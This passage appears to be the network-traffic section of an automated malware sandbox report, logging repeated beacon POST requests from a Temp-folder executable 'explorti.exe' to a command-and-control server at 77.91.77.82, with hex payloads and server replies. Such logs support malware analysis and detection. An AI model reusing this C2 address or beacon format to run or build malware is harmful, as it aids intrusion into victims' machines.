Jun 28, 2024 13:37:55.028520107 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:55.702420950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49820	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:55.825455904 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:56.495573997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49821	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:56.503941059 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:57.193136930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49822	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:57.312849998 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:57.999052048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49823	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:58.008733988 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:58.707132101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49824	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:58.833575964 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:59.746481895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:59.747936010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49825	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:59.755403996 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:00.426140070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49826	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:00.543981075 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:01.218894958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49827	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:01.233741045 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:01.924513102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49828	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:02.048163891 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:03.365470886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:38:03.365535021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:38:03.365792036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49829	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:03.374962091 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:04.155951977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49830	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:04.282422066 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49831	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:04.388209105 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:05.062473059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49832	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:05.184633017 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:05.850855112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49833	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:05.862238884 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:06.557027102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49834	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:06.668919086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:07.343646049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49835	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:07.352509022 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:08.031500101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49836	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:08.154011011 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:08.824688911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49837	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:08.833293915 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:38:09.501193047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49838	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:09.658396006 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:10.298607111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49839	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:10.308948994 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49840	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:10.443881035 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:38:11.105842113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49841	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:38:11.122963905 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
